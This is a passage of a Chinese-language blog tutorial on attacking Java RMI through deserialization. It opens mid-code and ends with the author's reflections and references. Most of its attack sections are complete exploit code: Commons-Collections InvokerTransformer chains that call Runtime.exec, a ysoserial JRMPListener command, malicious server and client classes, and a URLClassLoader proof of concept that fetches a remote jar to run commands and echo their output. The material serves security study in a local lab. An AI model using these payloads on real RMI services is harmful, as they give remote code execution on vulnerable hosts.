new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","G3ng4r");
Map<Object, Object> transformedMap = TransformedMap._decorate_(hashMap, null, chainedTransformer);
Class c = Class._forName_("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class, transformedMap);
return o;
}
}

攻击 RMI Client

注册中心攻击客户端

对于注册中心来说,我们还是从这几个方法触发:

  • bind
  • unbind
  • rebind
  • list
  • lookup

除了 unbindrebind 都会返回数据给客户端,返回的数据是序列化形式,那么到了客户端就会进行反序列化,如果我们能控制注册中心的返回数据,那么就能实现对客户端的攻击,这里使用 ysoserial 的 JRMPListener,因为 EXP 实在太长了。命令如下:

1
java -cp "D:\IntelliJ IDEA 2024.3.7\ysoserial\ysoserial-all.jar" ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "calc"

然后使用客户端去访问:

1
2
3
4
5
6
7
8
9
10
11
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Client {
public static void main(String[] args) throws RemoteException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
registry.list();
}
}

服务端攻击客户端

服务端攻击客户端,大抵可以分为以下两种情景:服务端返回 Object 对象,远程加载对象

服务端返回 Object 对象

在 RMI 中,远程调用方法传递回来的不一定是一个基础数据类型(String、int),也有可能是对象,当服务端返回给客户端一个对象时,客户端就要对应的进行反序列化。所以我们需要伪造一个服务端,当客户端调用某个远程方法时,返回的参数是我们构造好的恶意对象。这里以 CC1 为例:

  • User 接口,返回的是 Object 对象
1
2
3
public interface User extends java.rmi.Remote {
public Object getUser() throws Exception;
}
  • 服务端实现 User 接口,返回 CC1 的恶意 Object 对象
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.Serializable;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;

public class ServerReturnObject extends UnicastRemoteObject implements User {
public String name;
public int age;

public ServerReturnObject(String name, int age) throws RemoteException {
super();
this.name = name;
this.age = age;
}

public Object getUser() throws Exception {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime",
new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);


return (Object) handler;
}
}
  • 服务端将恶意对象绑定到注册中心
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.rmi.AlreadyBoundException;  
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class EvilClassServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
User liming = new ServerReturnObject("liming",15);
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("user",liming);

System.out.println("registry is running...");

System.out.println("liming is bind in registry");
}
}
  • 客户端获取对象并调用 getUser() 方法,将反序列化服务端传来的恶意远程对象
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.rmi.Naming;  
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

// 服务端打客户端,返回 Object 对象
public class EvilClient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
User user = (User)registry.lookup("user");
user.getUser();
}
}
加载远程对象

以下内容引自 Drun1baby 师傅的文章,没给具体实例我也不班门弄斧了,总的来说就是利用价值比较小

这个就是 P 神 写的那个,codebase 这种。这个可用性还是不咋样,我个人觉得本身这个注册中心,或者是服务端打出来,就没啥意义;再加上利用条件苛刻,就更没劲了。
当服务端的某个方法返回的对象是客户端没有的时,客户端可以指定一个 URL,此时会通过 URL 来实例化对象。
java.rmi.server.codebase:codebase 是一个地址,告诉 Java 虚拟机我们应该从哪个地方去搜索类,有点像我们日常用的 CLASSPATH,但 CLASSPATH 是本地路径,而 codebase 通常是远程 URL,比如 http、ftp 等。
RMI 核心特点之一就是动态类加载,如果当前 JVM 中没有某个类的定义,它可以从远程 URL 去下载这个类的 class,动态加载的 class 文件可以使用 http://ftp://file:// 进行托管。这可以动态的扩展远程应用的功能,RMI 注册表上可以动态的加载绑定多个 RMI 应用。对于客户端而言,如果服务端方法的返回值可能是一些子类的对象实例,而客户端并没有这些子类的 class 文件,如果需要客户端正确调用这些
子类
中被重写的方法,客户端就需要从服务端提供的 java.rmi.server.codebase URL 去加载类;对于服务端而言,如果客户端传递的方法参数是远程对象接口方法参数类型的子类,那么服务端需要从客户端提供的 java.rmi.server.codebase URL 去加载对应的类。客户端与服务端两边的 java.rmi.server.codebase URL 都是互相传递的。无论是客户端还是服务端要远程加载类,都需要满足以下条件:

  1. 由于 Java SecurityManager 的限制,默认是不允许远程加载的,如果需要进行远程加载类,需要安装 RMISecurityManager 并且配置 java.security.policy,这在后面的利用中可以看到。
  2. 属性 java.rmi.server.useCodebaseOnly 的值必需为 false。但是从 JDK 6u45、7u21 开始,java.rmi.server.useCodebaseOnly 的默认值就是 true。当该值为 true 时,将禁用自动加载远程类文件,仅从 CLASSPATH 和当前虚拟机的 java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止虚拟机从其他 Codebase 地址上动态加载类,增加了 RMI ClassLoader 的安全性。
    总的来说利用条件十分苛刻,可用性不强。

攻击 RMI Server

客户端打服务端

服务端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import java.rmi.Naming;  
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class VictimServer {
public class RemoteHelloWorld extends UnicastRemoteObject implements RemoteObj {
protected RemoteHelloWorld() throws RemoteException {
super();
}

public String hello() throws RemoteException {
System.out.println("调用了hello方法");
return "Hello world";
}

public void evil(Object obj) throws RemoteException {
System.out.println("调用了evil方法,传递对象为:"+obj);
}

@Override
public String sayHello(String keywords) throws RemoteException {
return null;
}
}
private void start() throws Exception {
RemoteHelloWorld h = new RemoteHelloWorld();
LocateRegistry.createRegistry(1099);
Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
}

public static void main(String[] args) throws Exception {
new VictimServer().start();
}
}
  • jdk 版本 1.7
  • 使用具有漏洞的 Commons-Collections3.1 组件
  • RMI 提供的数据有 Object 类型(因为攻击 payload 就是 Object 类型)

客户端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import Server.IRemoteHelloWorld;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;
import Server.IRemoteHelloWorld;


public class RMIClient2 {
public static void main(String[] args) throws Exception {
IRemoteHelloWorld r = (IRemoteHelloWorld) Naming._lookup_("rmi://127.0.0.1:1099/Hello");
r.evil(_getpayload_());
}

public static Object getpayload() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
map.put("value", "lala");
Map transformedMap = TransformedMap._decorate_(map, null, transformerChain);

Class cl = Class._forName_("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
return instance;
}

}

远程加载对象

RMI 服务端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
// RMIServer.java
package com.longofo.javarmi;

import java.rmi.AlreadyBoundException;
import java.rmi.RMISecurityManager;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class RMIServer2 {
/**
* Java RMI 服务端
*
* @param args
*/
public static void main(String[] args) {
try {
// 实例化服务端远程对象
ServicesImpl obj = new ServicesImpl();

// 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理
Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);

Registry reg;
try {
// 如果需要使用RMI的动态加载功能,需要开启RMISecurityManager,并配置policy以允许从远程加载类库
System.setProperty("java.security.policy", RMIServer.class.getClassLoader().getResource("java.policy").getFile());
RMISecurityManager securityManager = new RMISecurityManager();
System.setSecurityManager(securityManager);

// 创建Registry
reg = LocateRegistry.createRegistry(9999);
System.out.println("java RMI registry created. port on 9999...");
} catch (Exception e) {
System.out.println("Using existing registry");
reg = LocateRegistry.getRegistry();
}

// 绑定远程对象到Registry
reg.bind("Services", services);

} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
}
}
}

远程对象接口:

1
2
3
4
5
6
7
package com.longofo.javarmi;

import java.rmi.RemoteException;

public interface Services extends java.rmi.Remote {
Object sendMessage(Message msg) throws RemoteException;
}

恶意远程方法参数对象子类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package com.longofo.remoteclass;

import com.longofo.javarmi.Message;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.Serializable;
import java.util.Hashtable;

public class ExportObject1 extends Message implements ObjectFactory, Serializable {

private static final long serialVersionUID = 4474289574195395731L;


public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}

恶意 RMI 客户端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package com.longofo.javarmi;

import com.longofo.remoteclass.ExportObject1;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient2 {
public static void main(String[] args) throws Exception {
System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");
Registry registry = LocateRegistry.getRegistry();
// 获取远程对象的引用
Services services = (Services) registry.lookup("rmi://127.0.0.1:9999/Services");
ExportObject1 exportObject1 = new ExportObject1();
exportObject1.setMessage("hahaha");

services.sendMessage(exportObject1);
}
}

这样就模拟出了另一种攻击场景,这时受害者是作为 RMI 服务端,需要满足以下条件才能利用:

  • RMI 服务端允许远程加载类
  • 还有 JDK 限制

0x06 RMI 进阶攻击

URLClassLoader 回显攻击

攻击注册中心时,注册中心遇到异常会直接把异常发回来,返回给客户端。这里我们利用 URLClassLoader 加载远程 jar,传入服务端,反序列化后调用其方法,在方法内抛出错误,错误会传回客户端

远程 demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java.io.BufferedReader;
import java.io.InputStreamReader;

public class ErrorBaseExec {

public static void do_exec(String args) throws Exception
{
Process proc = Runtime.getRuntime().exec(args);
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null)
{
sb.append(line).append("\n");
}
String result = sb.toString();
Exception e=new Exception(result);
throw e;
}
}

通过如下命令制作成 jar 包:

1
2
javac ErrorBaseExec.java
jar -cvf RMIexploit.jar ErrorBaseExec.class

客户端 POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

import java.net.URLClassLoader;

import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import java.util.HashMap;
import java.util.Map;


public class Client {
public static Constructor<?> getFirstCtor(final String name)
throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
ctor.setAccessible(true);

return ctor;
}

public static void main(String[] args) throws Exception {
String ip = "127.0.0.1"; //注册中心ip
int port = 1099; //注册中心端口
String remotejar = 远程jar;
String command = "whoami";
final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

try {
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { java.net.URL[].class } }),
new InvokerTransformer("newInstance",
new Class[] { Object[].class },
new Object[] {
new Object[] {
new java.net.URL[] { new java.net.URL(remotejar) }
}
}),
new InvokerTransformer("loadClass",
new Class[] { String.class },
new Object[] { "ErrorBaseExec" }),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "do_exec", new Class[] { String.class } }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new String[] { command } })
};
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "value");

Map outerMap = TransformedMap.decorate(innerMap, null,
transformedChain);
Class cl = Class.forName(
"sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);

Object instance = ctor.newInstance(Target.class, outerMap);
Registry registry = LocateRegistry.getRegistry(ip, port);
InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS)
.newInstance(Target.class,
outerMap);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, h));
registry.bind("liming", r);
} catch (Exception e) {
try {
System.out.print(e.getCause().getCause().getCause().getMessage());
} catch (Exception ee) {
throw e;
}
}
}
}

0x07 写在后面

很难也很基础的东西,虽然花了很多时间但是也就是简单走了一遍流程并没有了解的很透彻,状态不好……

参考文章

https://drun1baby.top/2022/07/19/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BRMI%E4%B8%93%E9%A2%9801-RMI%E5%9F%BA%E7%A1%80/

https://drun1baby.top/2022/07/23/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BRMI%E4%B8%93%E9%A2%9802-RMI%E7%9A%84%E5%87%A0%E7%A7%8D%E6%94%BB%E5%87%BB%E6%96%B9%E5%BC%8F/

https://paper.seebug.org/1091/#serverrmi

https://www.javasec.org/javase/RMI/